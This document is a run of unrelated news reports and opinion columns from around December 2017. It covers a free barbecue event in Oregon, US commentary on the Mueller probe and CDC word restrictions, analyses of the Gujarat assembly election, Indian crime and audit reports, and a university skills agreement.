The Oregon BBQ Company is going to be giving free food away at its Albany and Lebanon locations on Thursday, starting at 10 a.m.

Its going to probably be around 1,000 pounds (of meat). It could even be more than that. Both of our smokers are going to be packed full, said Tanner Poff, president of the business.

This is the second year of the Oregon BBQ Company holiday Feed the City event, which was held in Albany last December. OBC opened up its Lebanon location in March 2017.

We just thought it would be cool to end the year with a big bang and give back to the community, Poff said.

Residents who visit the Oregon BBQ Company sites on Thursday can order from a full menu of items, including beef brisket, pulled pork, or twice smoked German sausage, and each meal comes with two side dishes.

The food will be handed out until its gone. Last year, that was about 2 p.m. in Albany. Were hoping to make it well past that this year, Poff said.

He wasnt sure exactly how many people lined up along Old Salem Road for free barbecue last year, however. There were lines all day until we ran out. There were hundreds of people. Were going to keep better track. We didnt realize it was going to turn into so big of a deal, Poff said.

The Feed the City event is the last day that OBC will be open in 2017.

The Oregon BBQ Company is at 744 Old Salem Road SE in Albany and at 4121 Santiam Highway in Lebanon.
WASHINGTON  A president with no concern for veracity or consistency has assured us he is not considering the firing of Special Counsel Robert Mueller. This does not make the prospect even marginally less remote. And it has done little to inhibit the attempt by some conservatives to discredit the investigation.

On a move against Mueller and his office, the wind is thick with straws. Rep. Bob Goodlatte, chair of the House Judiciary Committee, warns: "We do not know the magnitude of insider bias on Mr. Mueller's team." Senator John Cornyn urges Mueller "to clean house of partisans" and wonders if the Special Counsel's final report will be legitimate. The Murdoch press  lead in silly shrillness by Fox News personalities  continues to trash the reputations of Mueller and his associates.

At one level, this is "whataboutism" run amok. What about Bill and Hillary Clinton? Didn't they ruthlessly discredit Ken Starr and his investigation? Why should Republicans hobble themselves with scruples?

But here is a difference. Clinton and his defenders were accusing an investigator of being a power-mad prig. Some of Trump's defenders are claiming, in effect, that the FBI is engaged in a "coup d'etat" (the words of Florida Republican Rep. Matt Gaetz)  a politically motivated attempt to reverse the results of the 2016 election. Their evidence? That some senior investigators donated to Democrats, supported Hillary Clinton and called Trump an "idiot."

If that last charge were considered a disqualification, we would have the political equivalent of the Rapture (including, apparently, some of the Cabinet). But the larger point is this: Trump Republicans are willing to smear a man of genuine integrity, and undermine confidence in federal law enforcement, for reasons they must know are thin to the point of transparency. This is beyond cynicism. It is institutional arson. This is the profoundly anti-conservative strategy of Trump supporters against any institution (the courts, the media, law enforcement) that exposes the administration's deception and corruption: Burn, baby, burn.

Because Mueller is inexorable, the desperation in Trump world is palpable. We know that senior officials in the Trump campaign wanted to collude with the Russians in order to influence the election. (Donald Trump Jr. has admitted meeting with a Russian lawyer in June of 2016 to get damaging information on Hillary Clinton.) We know that Russian intelligence had the means to influence the election, hacked from a variety of sources. We know that Trump officials tried to conceal their contacts with the Russians, while seeking policy changes favorable to Russian interests. We know (on the credible testimony of a former FBI director) that President Trump tried to shut the investigation of these matters down. And it is a good bet that Mueller knows far more about all of this than we do.

As the investigation seems to be closing in on members of the Trump family, the president has a variety of options, all with serious risks. He might be able (it is debated among legal scholars) to fire Mueller directly. But unless he also abolishes the Special Counsel's office, FBI officials would continue to investigate any crimes they have discovered. Other precedent would require Trump first to fire Deputy Attorney General Rod Rosenstein (to whom Mueller reports), then (probably after a cascade of Justice Department resignations) find a stooge willing to fire Mueller. This would be a direct assault on the autonomy and integrity of the FBI, which still has defenders on Capitol Hill.

Or Trump could do a preemptive pardon of individuals being investigated. This would look deeply corrupt  like an admission of guilt written in neon  and there are serious legal issues surrounding a presidential self-pardon. This option would put the tolerance of Hill Republicans for executive lawlessness to the test. Is there any limit to their capacity for servility? The frog is in the pot, and it nears a boil.

If Trump takes any of these aggressive actions, it will define his presidency, exaggerate social division and throw America public life into chaos. At that point, he will deserve impeachment, whether he is impeached or not. (That will be determined, not by the degree of the offenses, but by which party controls the House of Representatives.)

Behind all this is a nagging fear. Other presidents would be restrained by the prospect of social division and political chaos. For Trump, these may be incentives. He seems to thrive in bedlam. But the anarchy that sustains him damages the institutions around him  a cost for which he cares nothing.
Let's imagine for a moment that you work as a research scientist at the federal Centers for Disease Control and Prevention. Can you imagine a situation where you might need to use the word "fetus" in an official document? How about the phrases "science-based" or "evidence-based?"

How about the word "transgender?" Or "vulnerable?" What about "entitlement?" Or "diversity?"

Of course you can. Why, in some dire cases, you might need to use three or four of these in the same document!

But those are the seven words and phrases that now apparently are verboten for Centers for Disease Control officials to use in any official documents being prepared for next year's budget.

According to a Washington Post story that broke over the weekend, CDC policy analysts were told of the lists of forbidden words at a meeting last week. The story reported that participants in the meeting reacted to the list with disbelief, which is a rational response. And then some of them tipped off the media  another rational response.

As many observers already have pointed out, this entire business sounds like a wicked variation on the late comedian George Carlin's famed routine about the seven words you can't say on television. (As an aside, what a shame it is that Carlin didn't live to take stock of these times.)

But Carlin's routine was funny. This is not. This is the latest evidence of the Trump administration's ignorance of and indifference to science, which now apparently has blossomed into outright contempt.

According to the Post story, participants at the meeting were given alternative phrases to replace some of the seven words you can't say at the CDC. For example, instead of "science-based" or "evidence-based," the suggested phrase is "CDC bases its recommendations on science in consideration with community standards and wishes."

That tells you everything you need to know about the thinking behind the list. Science  real science  doesn't give a hoot about "community standards and wishes." It's not about wishes. It's not even about community standards. It's all about whether the data supports your conclusions  and then letting other scientists take their best shots at your data and your conclusions. Although a community might wish to believe, say, that fluid from mummies makes a good elixir (doctors actually used to believe this), all the data suggest otherwise.

Of course, this isn't the only recent example of the administration displaying its contempt for science. Consider the big funding cuts proposed for federal agencies such as the CDC and the National Institutes of Health. Or consider the "red team-blue team" proposal hatched by Scott Pruitt, the head of the Environmental Protection Agency, to test the scientific premise of human-caused climate change. (Pruitt unveiled this idea, by the way, at a meeting of coal industry executives.)

Here's the idea: Assemble a so-called "red team" of dissenting scientists that would work to critique major scientific reports on climate change. Then, a "blue team" would then rebut those criticisms, and so on.

Here's the problem: That's how science works now. As one scientist told The New York Times: Scientists are already spending most of their time trying to poke holes in what other scientists are saying. The whole red team-blue team concept misunderstands what science is all about. In other words, no one who had any respect for science (and scientists) never would have proposed this.

So the nation continues to pay a price for its lack of literacy about science. And the toll likely only will get higher, as the prospect of a scientific brain drain starts to become a reality. Already other countries are working to woo away the best and brightest U.S. scientists, with promises of adequate funding and better equipment  not to mention the freedom to say seven certain words and phrases. (mm)
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Traditionally, the post-results mood in political circles follows a script: the winner celebrates and claims to be humbled by the verdict and the downcast losers promise a bout of introspection. The Gujarat assembly outcome was accompanied by some confused responses. There were celebrations in BJP circles but they were relatively less boisterous. And the Congress alternated between whoops of delight over the auspicious beginning to Rahul Gandhis presidency and lament over a missed opportunity to oust the BJP, not to mention gripes over the efficacy of EVMs.

The confusion was understandable. In normal circumstances, the first-past-the-post system exaggerates legislative majorities, as happened in the 2014 general election. With a vote share of over 49 %  hugely impressive by any yardstick  the BJP should have improved on its 2012 tally. Yet, it lost seats and at one point in the morning looked like being overtaken by the Congress, leading to a panic stock market response. The Gujarat outcome was a rare case of the seat tally broadly reflecting the popular vote. The BJP won handsomely in the urban areas  producing what psephologists call wasted majorities and lost narrowly in many seats. Most important, the Congress edged past it in 33 of the 54 seats of Saurashtra, despite both parties having a near equal share of the popular vote in the region. If every vote had an equal value, the BJP would have won resoundingly but the uneven subregional voting pattern ensured that the partys sixth consecutive victory in Gujarat was narrow.

This quirky outcome is likely to make a political dissection of the Gujarat results difficult. Media reports suggested that the ruling party was confronted with huge dissatisfaction over GST. Yet, in the four Surat constituencies that were at the epicentre of the anti-GST stir, the BJP won. Likewise, in the major Patidar-dominated clusters, particularly in North Gujarat, there was both a division of Patel votes and a counter-mobilisation of other backward castes. Consequently, the BJP did reasonably well, winning 22 of the 39 seats where Patidars were a numerical force. The BJP election machine, it would seem, was slowed down, not merely by the momentum of energetic campaigns by the Hardik-Alpesh-Jignesh youthful troika, but more by farmer resentment over the minimum support price of cotton and groundnut in Saurashtra.

It is important to micro-analyse the outcome in the context of an emerging narrative that the Gujarat verdict is likely to prod the Narendra Modi government towards a populist correction. The result certainly suggests localised grievances played a big role in the BJP securing a reduced majority but there is no evidence of a generalised disquiet over the governments policies. Indeed, exit polls indicate that Modis appeal among youth voters in the under-25 age group hasnt waned, suggesting that the optimism over the future that was a feature of the 2014 general election hasnt been replaced by despondency. More to the point, the prime ministers personal appeal among voters hasnt been affected. Nor were Gujarats voters put off by his aggressive campaigning in the concluding stages of the campaign. The BJP, in fact, did significantly better in the constituencies that polled in the second phase, indicating the continuing identification of the BJP with Modi.

The prime minister and the BJP leadership are likely to mull over the Gujarat outcome in the coming days. On the face of it, they are unlikely to press for a review of existing policies. Instead, there will be renewed thrust on delivery and the speedy completion of outstanding projects. The resounding urban mandate will ensure that the commitment to iconic projects such as the Ahmedabad-Mumbai bullet train will remain as firm as before. However, there is likely to be equal attention paid to welfare schemes. The possibility of the government introducing a Universal Basic Income Scheme in the Budget of 2018 shouldnt also be discounted.

Facets of the government response may also be dictated by the Congress response to the Gujarat verdict. Apart from the sustained projection of Rahul Gandhi as a mature and responsible leader, the Congress may persist with facilitating a coalition of local protest movements. The decimation of the traditional leadership in Gujarat and the emergence of new leaders may encourage the Congress to experiment with a new form of protest politics, some of which may even be retrograde. If this happens, the urge to sharpen the BJP governments reformist impulses to highlight its distinctiveness will become irresistible. If the Congress focuses on protest, Modi is likely to cast himself as the architect of a performing government.

Swapan Dasgupta is a Rajya Sabha MP, senior journalist and political commentator

The views expressed are personal
The 2017 Gujarat assembly elections has been a special one. For the first time, the state saw the young triumvirate of Hardik Patel, Alpesh Thakor and Jignesh Mewani, taking on the BJP, riding on the discontent and alienation of the marginalised classes. In the run up to the elections, the BJP tried to break them but the trio only emerged more ambitious and aggressive. The Congress cleverly managed to rope in Alpesh Thakor and piggy back on the other two. Together, they believed that their political mobilisation was sufficient for change. But that was not the case.

In the run-up to the elections, the BJP focused on top down political mobilisation, while the opposition tried bottom up political mobilisation by working on social and economic cleavages. The underlying reasons for such angst in voters is not difficult to seek: Along with the demonetisation and ill-informed GST implementation, the states social indicators ---- Gujarat is at the 11th position in the human development index; there an increase in sexual harassment cases against women; the states fractured public distribution system; and the mismatch between education and employment --- created a fertile ground for the opposition to come together.

It was Hardik Patel who cast the first stone in mid-2015, mobilising his Patidar (Patel) community, seeking reservation for them. In his speeches, he assiduously tried to ensure that his supporters vote against the BJP. The Patidars account for nearly 16% of the population, who traditionally remained with the BJP but due to Hardiks leadership most of the Patidars (particularly farmers and urban unemployed) vowed to vote against the BJP.

Alpesh tried to mobilise OBCs, SCs and STs through his OSS Ekta Manch, raising the issue of reservation. By joining the Congress and supporting Hardik, he cleared doubts of him being a prop of the BJP. Of the three, he is the one with political experience.

This election is special because Gujarat seems to be on the cusp of a transformation. Whichever party forms the government in Gujarat, it cannot afford to ignore these rights of the marginalised in their policies.

Tanvir Aeijaz is associate professor, Ramjas College, University of Delhi

The views expressed are personal
The Gujarat election was supposed to be little more than a victory parade for the BJP. Prime Minister Narendra Modi brashly declared, I am vikas (development). I am Gujarat. Before the election, everything seemed to be going the BJPs way  a hugely popular prime minister from the state and a thumping victory in Uttar Pradesh, not to mention the fact that BJP has ruled Gujarat for 22 years running while never winning less than 115 out of 182 seats. Although a section of supporters will be relieved that the BJP held on to power, the party clearly expected bigger things out of Gujarat (at one point predicting that they will go above 150 seats). Instead, this election unearthed serious chinks in BJPs armour and returned the lowest seat share for the BJP in Gujarat since 1990. A precocious Hardik Patel morphed what began as a caste movement (the Patidar agitation) into a class movement around the concerns of small traders, the working class, and the rural poor. Yes, the BJP won in Gujarat, but these class concerns promise to be a thorn in the side of the party for the next couple of years.

Using data provided by Hindustan Times (HT) data team as of 2:50pm on December 18, in which the BJP was projected to win 100 seats and the Congress 77 seats, we may characterise some of the trends observed in this election. This is a fairly substantial drop from the 115 seats won in 2012, especially when one considers that the number of seats won by the BJP have been remarkably stable since 1995  from a maximum of 127 (2002) to a minimum of 115 (2012).

The most obvious implication of the class character of BJPs opposition is a starker rural-urban divide. The BJP won 50 (89%) out of the 56 constituencies classified as urban by HT in 2012, and it didnt do much worse this time around, as it was projected to win 46 (82%) of those seats. The rural constituencies saw a much greater shift. In 2012, the BJP won 65 (52%) of the 126 seats classified as urban by HT, but this dropped significantly to 54 (43%) this time around.

But this rural disenchantment was quite uneven by region. As we reported in earlier work, the rural anger did not extend to South Gujarat where the predominant crop, sugarcane, did not face the same drops in market prices as the most prevalent crops, cotton and groundnut, in other regions. Much of the observed shift seems have occurred in the Saurashtra region, where the BJP won 30 (63%) out of the 48 seats in 2012 but only 19 (40%) this time around. Even in North Gujarat, where the Congress had purportedly gained a lot of ground, saw similar results to 2012. In 2012, the BJP won 15 (47%) of 32 seats, and it was projected to win the same number of seats this time around. One hypothesis is that Saurashtra faced severe reduction in market prices for key crops without the proximity to the most major cities such as Ahmedabad, Surat, or Vadodara to anchor BJP support.

While the Congress will take comfort from this election, it has much work to do. Over the past few years, the Congress has largely being reacting to Narendra Modi and the BJP, essentially letting their opponents set the terms of debate. This has robbed the Congress of a cogent party identity, but this election offers a big opportunity. The class anger with the BJP is very real, and it is only likely to grow unless the BJP makes changes in policy. On the other hand, the main thrust of the mobilisation occurred through a leader, Hardik Patel, outside of the Congress. The inability to move mass leaders up the party ranks has been a chronic problem for the Congress. Ultimately, the Congress must answer some questions. Can it develop a cogent party identity to take advantage of the genuine class anger with the BJP? Furthermore, can the Congress develop the kind of mass leaders within the party to mobilise around this class anger?

Things suddenly look a lot more challenging for the BJP. In the next year, the states of Chhattisgarh, Madhya Pradesh, and Rajasthan will go to the polls. If rural anger was great in Gujarat, this anger is likely to be even greater in those states  where rural distress has been well-documented. A promise of loan waivers did little to bolster the BJPs standing with farmers, and Prime Minister Modi is almost certainly looking for that next big bang reform to win the rural countryside back. As we hit the stretch run to the national election, things have become a little more interesting  2019 may be back in play for the Congress.

Ashish Ranjan is a Research Fellow at the Trivedi Centre for Political Data at Ashoka University. Neelanjan Sircar is a Senior Fellow at the Centre for Policy Research.

The views expressed are personal
The Datia police have busted a gun making factory being operated in the jungles bordering Uttar Pradesh on Tuesday and arrested two persons in this connection. Datia is around 400 km north of Bhopal.

SP Mayank Avasthi said that acting on information they raided the factory near village Gharava and Mukesh Kewat (24) and Madan Dhimar (26) and seized two .315 bore guns, 16 country made guns, seven semi-finished country made guns, eight empty cartridges and 10 live cartridges, and 17 frames for making guns.

SP Avasthi said during interrogation the two accused confessed that there were part of an inter-state gang and they used to supply weapons to several gangs in both Madhya Pradesh and Uttar Pradesh. The accused have named several people who are gun runners and the gangs to which they supplied the weapons. More arrests are likely, the SP added.

The police administration has launched a campaign against illegal arms in the area to curb crime in the area. Datia is infamous for illegal mining and illegal arms are used in large scale in both sides of the border, police sources said.
The Mumbai Police came out in support of the 17-year-old Bollywood actor who recently alleged molestation aboard an aeroplane. The police posted a message urging people to take cases such as this seriously in a characteristically forthright tweet.

It is the Constitutional Right of every victim to report sexual abuse and it is our duty to take cognizance, investigate & facilitate justice. Kindly refrain from being judgmental and #Respect the Right of a Victim of a Sexual Assault, they said.

It is the Constitutional Right of every victim to report sexual abuse and it is our duty to take cognizance, investigate & facilitate justice. Kindly refrain from being judgmental and #Respect the Right of a Victim of a Sexual Assault pic.twitter.com/sb6QRx2iNI  Mumbai Police (@MumbaiPolice) December 16, 2017

The National award winning actor had taken to Instagram to allege that a male co-passenger, who was sitting behind her on the flight, had rubbed his foot on her back and neck.

The teenager, who has starred in a Bollywood blockbuster, was visibly shaken in her video post.

So, I was in a flight travelling from Delhi to Mumbai today and right behind me one middle-aged man who made my two-hour journey miserable. I tried to record it on phone to understand it better because the cabin lights were dimmed, I failed to get it...

The lights were dimmed, so it was even worse. It continued for another 5-10 minutes and then I was sure of it. He kept nudging my shoulder and continued to move his foot up and down my back and neck, she said in the video post.

She further indicated that she received no help from the cabin crew when she alerted them.

The teenager, however, managed to take a photo of the mans foot which was on her arm rest.

This is not done, I am disturbed. Is this how youre going to take care of girls? she said as she broke down in the video.

Who is going to help us girls? If we dont help ourselves, nobody will come ahead, she added.

Vistara said it was investigating the complaint and would extend all help to the 17-year-old, adding it had zero tolerance for such behaviour.

The airline also said that the crew became aware of a problem only when the flight was in its final descent, but they were seated for landing as a part of safety protocol.

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The Comptroller and Auditor General of India (CAG), in a report released on Tuesday, said non-compliance with licence conditions by five telecom operators led to a shortfall in payment of revenue share to the government to the tune of Rs 2,578.83 crore.

Tata Teleservices Ltd and Tata Teleservices (Maharashtra) Ltd together accounted for a lions share of the total at Rs 1,893.60 crore and Reliance Jio Infocomm Ltds share was Rs 6.78 crore, the government auditor said.

In the report tabled in Parliament, the CAG said its audit of the basic accounting records and documents of Tata Teleservices and Tata Teleservices (Maharashtra), Quadrant Televentures Ltd, Videocon Telecommunication Ltd, Telenor group and Reliance Jio, for varying periods from 2006-07 to 2014-15, indicated total understatement of annual gross revenue (AGR) of about Rs 14,813.97 crore and a consequent shortfall in payment of revenue share to the government to the tune of Rs 1,526.70 crore.

The interest due on the shortfall in payment of revenue share for the period up to March 2016 was Rs 1,052.13 crore.

Telecom operators are liable to pay around 3-5% and 8% of the AGR as spectrum usage charges and licence fees to the government.

According to the CAG report, this understatement of gross revenues came in terms of the amount of commission/discount paid by operators to their distributors/dealers/agents/franchisees; promotional schemes like Free Talk Time/Free Air Time; netting of discounts from revenue pertaining to roaming services as well as infrastructure sharing; shortfall/non-inclusion of forex gains in gross revenue; non-inclusion of interest income as well as profit from the sale of investments; non-inclusion of miscellaneous revenue and profit on sale of fixed assets and bad debts written off and claimed as deductions.

Of the five companies named in the CAG report, only Reliance Jio now runs full-scale operations. The company began commercial operations only in September 2016.

Prior to that, in June 2010, Reliance Industries bought a 95% stake in the Mahendra Nahata-owned Himachal Futuristic Communications Ltds arm, Infotel Broadband Services, while also paying the Rs 12,848 crore for 20MHz of pan-India spectrum that Infotel bagged in an auction that year.

In January 2013, RILs telecom subsidiary, Infotel Broadband Services Ltd, was renamed as Reliance Jio Infocomm.

According to the report, Reliance Jios share of the short-payment was at Rs 6.78 crore.

While the company did not start commercial operations in the period mentioned in the report, the government estimates AGR as 5% of the bid value of the spectrum, for which it collects spectrum usage charges and licence fee.

The charge on Reliance Jio is related to revenue share on realized forex gain. This is an industry issue and was referred to TDSAT (Telecom Disputes Settlement and Appellate Tribunal) which ruled in favour of telecom operators. However, the TDSAT decision was appealed against by DoT (Department of Telecommunications) and this matter is currently sub judice with the Supreme Court, a spokesperson at Reliance Jio said.

All the other operators named in the report have either shuttered or sold their businesses.

Videocon shut down operations in 11 circles where the Supreme Court cancelled licences in January 2012. It subsequently won spectrum in five of those circles in a November 2012 auction but exited the mobile business completely almost two years ago.

Quadrant Televentures (formerly HFCL Infotel), a subsidiary of Videocon Telecom which ran the latters mobile services in Punjab, ceased operations in February 2017.

Bharti Airtel in October announced the acquisition of Tata Teleservices and Tata Teleservices (Maharashtra) on a debt-free, cash-free basis. Airtel has also bought Telenor ASAs India business.

Emails, calls and texts to the other companies remained unanswered till press time.
Federal think tank NITI Aayog has proposed that the government set up a labour utilisation fund that will make the countrys workforce more skilled and cost-competitive, encouraging businesses to hire more at a time when automation and the use of artificial intelligence are making low-skill labour redundant.

NITI Aayog vice-chairman Rajiv Kumar said in an interview that the government should consider setting up the fund, which will foot the bill for skilling workers and providing them social security, making workforce more cost-competitive for the industry to employ.

The government has been encouraging automation in the textile industry under a technology upgradation fund (TUF) to make it capable of competing with large production houses in countries such as China. Kumar suggested that instead of capital subsidy for businesses, there was a need for labour subsidy now. TUF, which was announced in 1999, was further modified for continuation in the 2012-17 period, giving capital subsidy to the sector for adopting technology.

Just like that, we should have a labour utilization fund. It doesnt have to pay salaries but can be used for better training, for paying provident fund contribution and for covering the health costs. In advanced economies, all these things are provided by the public sector, said Kumar.

Since social security benefits in India do not match those in developed economies, there is a need for a dedicated policy and schemes to lower labour costs, said Kumar, adding that it will also help bridge income inequality in the country.

From the time Kumar took over from Arvind Panagariya, the think tank has been working on a blueprint for the government to create jobs.

The objective of our policy should be maximizing employment generation. If you do that, everything will fall in place, said Kumar, adding that labour-intensive sectors such as housing, construction, exports, garments, tourism, education and health should be in focus.

The economist also suggested that the impediments to growth in these sectors should be studied in detail to figure out where the shoe pinches.

According to Kumar, economic growth will accelerate further from the 6.3% recorded in the September quarter in the three months to December on account of the reforms undertaken so far.

Economic growth in the September quarter was an improvement over a three-year low of 5.7% in the June quarter, indicating businesses have shaken off the effects of demonetization and GST rollout.
DEHRADUN: The Haridwar police arrested two contract killers, who were out to shoot down a Dehradun-based property dealer, at a place near Roorkee on Tuesday.

The accused, Muqim from Haridwar and Nitin from Meerut, were on their way to Dehradun when a police team intercepted them on an overbridge. They had got the contract to kill the dealer from gangster Jitti Rawat, who is behind bars in the Haridwar jail, the police said. A stolen bike, a pistol, a country-made revolver and live cartridges were seized from the duo.

The arrests took place a month after three assailants had fatally attacked undertrial gangster Devpal Rana at a Roorkee court. In November, the Special Task Force (STF) of Uttarakhand police had arrested a sharpshooter working for an interstate gang for murdering a Haridwar-based businessman in March.

Uttarakhand additional director general of police (law and order) Ashok Kumar said the accused were headed to eliminate their target at the dealers office located in Nehrugram area of Dehradun on Tuesday. The contract killers had already done the recce of the location in advance.

Acting on a tip-off received by inspector Sadhna Tyagi of Kotwali Roorkee, a case was lodged against Rawat under Section 115 (abetment of offence punishable with death or imprisonment for life if offence not committed) of IPC after which a police team was formed to nab them. The team arrested the duo near Roorkee, Kumar said.

During interrogation, the accused told the police that they were allegedly asked by another imprisoned gangster to execute two other businessmen in Haridwar district. Of the two accused, Nitin was arrested in September for planning two murders. He was out on bail, Kumar said.

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Shaurya Doval, son of National Security Advisor Ajit Doval, has indicated his entry into active politics from Uttarakhand, his native place.

The junior Doval participated as a member in Uttarakhand BJPs working member committee last week. His attendance at the December 16-17 meeting held in Haldwani came to fore courtesy the selfies that several top state leaders clicked with him.

Sources in the party say the entry of Doval  among the principal drivers of BJP-RSS led think tank India Foundation into the party from the mountain state is a well thought out strategy. Shaurya could have easily become a member from anywhere, including Delhi. But, it seems there is a clear-cut strategy of BJP central leadership in introducing him from Uttarakhand, a senior BJP leader, who was not willing to be named, said.

The hill state may have many leaders, seasoned and of national repute, but Shauryas entry gives clear indication that he is being introduced for a bigger responsibility in the state, he added.

Shaurya, an alumnus of London School of Business and Chicago University, has worked as an investment banker and played a key role during Prime Minister Narendra Modis visit to America in 2014-15 where he met foreign investors.

State BJP leaders did not rule out Shaurya contesting from Pauri seat in 2019 Lok Sabha elections, the seat currently represented by former chief minister BC Khanduri.

The Doval family is a native of Pauri district and Sahurya is quite familiar with the issues of the hills, a leader said.

Party leaders believe that the lack of strong leadership in the saffron party in Uttarakhand could be a reason behind this decision. The central leadership knows that there is infighting among local leaders and Shaurya can be a unifying factor considering his family is close to partys top leadership, a senior party leader said.

Shaurya was first spotted campaigning for Satpal Maharaj during assembly election held this year. Later he also participated in Raibaar, the state foundation programme led by chief minister Trivendra Singh Rawat. His participation in the BJP working committee meeting was his third public presence in the mountain state.

BJP state president Ajay Bhatt could not stop praising junior Doval. His financial analysis is spotless due to which I requested him to be a part of a team, which sits in Delhi and discusses our state level issues. He belongs to our state and is also a part of our state team now, he said.

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A private company executive thought he had managed to get away with shoplifting at Delhi airport.

But when he landed in Pune with a womens bag he had stolen from a store a Delhi Terminal 3, security personnel were waiting for him.

The passenger was detained and he admitted that he stole the bag from a store in T3 before boarding his flight. He was then made to go back to Delhi by the next flight to return the bag.

The Central Industrial Security Force (CISF) was informed about the theft by the manager of the shop on December 10.

We were told about the incident at 2.45pm that someone picked up a bag from the shop located in the domestic retail area of Terminal 3. The cost of the bag was around 7,000. We scanned the CCTV footage and traced the movement of that passenger. He picked the bag at 1.15am and proceeded for boarding. He boarded the Jet Airways flight for Pune at 2.15pm, said a CISF officer, requesting anonymity.

The CISF got the phone number of passenger from airlines manifesto and tried calling the passenger but could not connect as the flight was already airborne.

In the meantime, we informed the CISF staff at Pune airport and shared his name and photo with them. The store manager lodged a complaint with Delhi Police. As the flight landed at Pune at 4.40pm, the passenger was immediately detained, the CISF officer added.

During questioning the passenger admitted to the crime and was asked to go back to Delhi immediately. He booked for 8.15pm flight and reached Delhi by 10.30pm to return the bag.

He was handed over to the police, the CISF officer added.

The police, however, did not register any FIR as the store withdrew its complaint after getting the bag back.

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As election verdicts go, the Gujarat assembly election has thrown up an all-too-rare one: both the winner and the loser are likely to be happy with it. Better still, it could encourage all parties to pay serious attention to unemployment and farm distress, not just in Gujarat, but across the country.

The Bharatiya Janata Party won the close election fair and square, earning the right to govern the state in which it has been in power for 22 years, for five more years. It won 99 seats in the 182-member assembly to the Indian National Congress 77. That number was short of the 115 seats it won in the 2012 assembly elections. It was also, for the record, way short of the target of 150 the BJP and its president Amit Shah had set ahead of the elections.

Still, the BJP has reason to be happy (although it might have been happier had it at least matched its 2012 tally or crossed the psychologically significant 100 mark). It won the state. Even better from its perspective, it increased its vote share marginally to 49%. And it managed to retain its sway over urban areas in the state,winning 46 of the 56 seats, and 57.8% of the votes. In 2012, it won 50 of these seats. In some ways, its continued good performance in urban areas is a vindication of the Gujarat model.

There are more reasons for the BJP to be happy. It appears to have minimised the impact of the Patidar agitation and the subsequent partnership between the Patidar Anamat Andolan Samiti (PAAS), led by Hardik Patel, and the Congress. Neither demonetisation nor the Goods and Services Tax  the second attracted the ire of small businessmen in Gujarats business belt  affected its prospects in urban areas. Indeed, in the Surat region, which had seen intense protests over GST, the BJP won 15 of 16 seats, the same number it did in 2012, although at least some of this can be attributed to the changes it made in the GST regime. Finally, and perhaps most importantly, its win, despite many factors that pointed to an uncomfortably close contest ahead of the election, is a victory for Narendra Modi, the face of the BJP campaign. Indeed, the Prime Minister seemed to hit his stride, and find the correct pitch, between the first phase and the second, and the BJP definitely did better in the second phase when compared to the first.

The Congress may have lost the election in Gujarat, but it won 77 seats, 16 more than the 61 it won in 2012 (that number was reduced even further by early 2017, thanks to desertions). Since 2014, when it was reduced to an insignificant minority in Parliament, and barring the Punjab assembly election earlier this year, which it won, the party hadnt got much right when it comes to elections  till Gujarat 2017. Its partnerships hadnt worked, its star campaigner, Rahul Gandhi, had not made much of an impact (indeed, in Punjab, the campaign was led by Amarinder Singh), and when it did manage to be in a position to form the government, a strange sort of inertia seemed to settle over it  allowing the BJP to steal a march as it did in Goa and Manipur earlier this year.

Gujarat 2017 was different. Part of the BJPs traditional electoral base, the Patidars who have been seeking reservation, Dalits catalysed into action by the attack at Una, and small businessmen hurt by demonetisation and GST, were angry. There was significant agrarian distress. It was an opportunity for the Congress. The recent history of the Congress is replete with instances of such missed opportunities. This time, the Congress didnt miss it. The party forged an alliance with PAAS, other backward classes, and Dalits. A re-energised Rahul Gandhi hit the campaign trail. He even visited temples because it was important that he be seen doing so in a predominantly Hindu state. Gujarat was never going to go to the Congress. Not in 2017. But the party did as well as it could have.

If both the BJP and the Congress are winners, then so are voters across India. The BJP, and, for that matter, any party in power, is now unlikely to take voters for granted. The BJPs performance is a clear indication of the unhappiness of farmers and farm workers (on account of the agrarian crisis), and young people (on account of unemployment). The two could become significant issues in elections in some large states, including Rajasthan and Madhya Pradesh, next year. It would be against character for the BJP, usually quick to pick voter sentiment, to not do anything about this. And so, the people of Gujarat, while backing the party they have backed for the past 22 years, may well have sent a message and a warning to political parties across India.
What is the biggest political economy takeaway from the 2017 Gujarat elections? The schism between India and Bharat is for real. The BJPs victory is only due to its dominance in urban areas. The Congress has won a majority of the 126 rural assembly constituencies. This is not a fluke. Multiple factors such as deficient rainfall, a crash in the price of crops such as cotton and groundnut etc. have hurt farm incomes in the state in the last few years.

Farm distress is not confined to Gujarat alone. The economic viability of farming is increasingly coming under stress. Uncertain rainfall and price fluctuations can make things even worse in bad years. The first two years of the Modi government were rainfall deficient years. Demonetisation and GST are bound to have put a squeeze on farm incomes as well. Perishables suffered a sharp crash in prices after demonetisation. Most of agricultural business in India has been traditionally conducted in the informal sector (read: outside the tax net). GST is bound to have changed that. A growing clamour for farm loan waivers across states is proof of entrenched rural distress in the country. The Congress had promised one in Gujarat. It performed well in rural areas. Same was the case with the Congress in Punjab and the BJP in the Uttar Pradesh assembly elections held earlier this year.

Barring Karnataka, it is the BJP which would be facing rural anti-incumbency in upcoming major state elections and the 2019 general elections. The next budget will probably do something to protect the ruling party from the now palpable rural discontent. One can expect more loan waivers and a hike in minimum support prices. While such policies do bring temporary relief, they are not enough to address the structural crisis of Indian agriculture. Growing fragmentation of land holdings, environmentally unsustainable practices in groundwater and fertiliser use, and climate change are some such factors. Indian farmers do not have income protection or social security cover unlike their counterparts in the west.

The younger generation in farmer households is even more worried about its future. A 24 year old Hardik Patel emerging as the leader of a powerful but disgruntled farming community is the biggest proof of this. Given the fact that almost half of our workforce is still dependent on farming; such policies are bound to be prohibitively expensive. This is the biggest fault line in Indias political economy. Bharat needs a lot of resources to come even close to the living standards that India enjoys. India is hard pressed to marshal them. Political fortunes are a function of the ability to balance this contradiction.
Lucknow: To enhance skills in the information technology sector, Dr APJ Abdul Kalam Technical University (AKTU) has signed a memorandum of understanding (MoU) with IT-ITeS Sector Skills Council NASSCOM (SSC NASSCOM) to launch employability enhancement programmes.

The strategic alliance with SSC NASSCOM aims at offering programmes to undergraduate students either as an elective course to an existing programme, or as an add-on course with the goal to enhance their employability.

The academic programmes developed by SSC NASSCOM included in this initiative are qualification pack (job role) based programmes covering associate  analytics (SSC/Q2101) and analyst application security (SSC/Q903)

SSC NASSCOM will also facilitate train-the-trainer (TTT) programme for university or college faculty members involved in the project to provide a holistic view of the pedagogy and principles fundamental to the course.

Under the MoU, SSC NASSCOM will provide guidelines and recommendations related to programme particulars such as faculty and student selection, infrastructure for training and evaluation, under the supervision of steering committee members of AKTU associate dean (RDIC) Prof Sampath Kumar V and dean (UGSE) Prof Vineet Kansal.

